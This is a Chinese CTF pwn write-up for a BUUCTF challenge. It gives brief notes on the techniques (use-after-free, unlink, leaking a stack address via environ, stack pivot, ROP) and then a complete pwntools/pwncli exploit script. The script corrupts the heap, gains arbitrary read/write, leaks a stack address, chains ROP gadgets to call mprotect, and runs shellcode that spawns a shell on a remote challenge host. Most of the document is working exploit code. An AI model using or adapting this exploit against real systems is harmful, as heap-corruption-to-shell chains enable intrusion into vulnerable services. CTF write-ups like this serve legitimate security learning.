知识点
- UAF
- unlink
- environ泄露栈地址
- 栈迁移
- ROP
分析
- 程序存在UAF漏洞,由于版本为Ubuntu16,所以需要在创建堆的时候伪造chunk头部,然后再unlink
- 使用unlink后任意地址读写,利用environ泄露栈地址
- 由于程序最后采用exit退出,所以我们直接覆盖edit函数的返回地址
- 利用ROP链栈迁移,然后再写一段ROP链getshell
细节
- unlink的堆要适当
- 由于一次只能读0x1f字节,可以分多次写ROP
- 尽管去除了符号,也可以搜索字符串找到对应函数以及变量,例如搜索syscall可以找到mprotect函数,属于经验之谈了
exp
#!/usr/bin/python3
from pwncli import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
#cli_script()
io=gift['io']=remote('node4.buuoj.cn',27271)
#io=gift['io']=process('./xwork')
libc=gift['libc'] = ELF('./libc-2.27.so')
def add(cont):
sla(b"5.Exit\n",b'1')
s(cont)
def show(idx):
sla(b"5.Exit\n", b'2')
sla(b"Input the order index:",str(idx))
def edit(idx,cont):
sla(b"5.Exit\n", b'3')
sla(b"Input the order index:",str(idx))
sleep(0.1)
s(cont)
def free(idx):
sla(b"5.Exit\n", b'4')
sla(b"Input the order index:",str(idx))
mprotct=0x440840
leak_stack=0x6c9f90
chunk_addr=0x6CCD60
name_addr=0x6CCDC0
read_addr=0x43FD30
sla(b"What's your name:",b'stas')
payload=p64_ex(0x0)+p64_ex(0x51)+p64_ex(chunk_addr-0x18)+p64_ex(chunk_addr-0x10)[:-1]
add(payload)#0
payload=p64_ex(0)*3+p32_ex(0x31)
add(payload)#1
for i in range(4):
add(b'stas')#2-5
free(1)
free(2)
show(2)
heap_base=u64_ex(r(8))-0x30
log_address("heap_base : ",heap_base)
edit(2,p64_ex(heap_base+0x20+0x30))
payload=p64_ex(0x50)+p64_ex(0x90)
add(payload)#5
add(payload)#6
#unlink
free(2)
#leak stack
payload=p64_ex(0)*3+p64_ex(chunk_addr)[:-1]
edit(0,payload)
edit(0,p64_ex(leak_stack)+p64_ex(chunk_addr))
show(0)
stack_addr=u64_ex(ru(b'\x7f')[-6:])
log_address("stack_addr : ",stack_addr)
pop_rdi=0x4018a6
pop_rsi=0x4019c7
pop_rdx=0x443166
pop_rsp=0x40060b
#first
edit(1,p64_ex(stack_addr-0x130))
payload=p64_ex(pop_rdx)+p64_ex(0x1000)+p64_ex(read_addr)+p64_ex(pop_rsp)[:-1]
edit(0,payload)
#second
edit(1,p64_ex(stack_addr-0x130+0x20))
payload=p64_ex(name_addr)
edit(0,payload)
#third
edit(1,p64_ex(stack_addr-0x130-0x20))
payload=p64_ex(pop_rdi)+p64_ex(0)+p64_ex(pop_rsi)+p64_ex(name_addr)[:-1]
edit(0,payload)
sleep(0.1)
payload=p64_ex(pop_rdi)+p64_ex(name_addr&0xffffff000)+p64_ex(pop_rsi)+p64_ex(0x1000)+p64_ex(pop_rdx)+p64_ex(7)+p64_ex(mprotct)
payload+=p64_ex(name_addr+len(payload)+8)+asm(shellcraft.sh())
s(payload)
ia()
Comments | NOTHING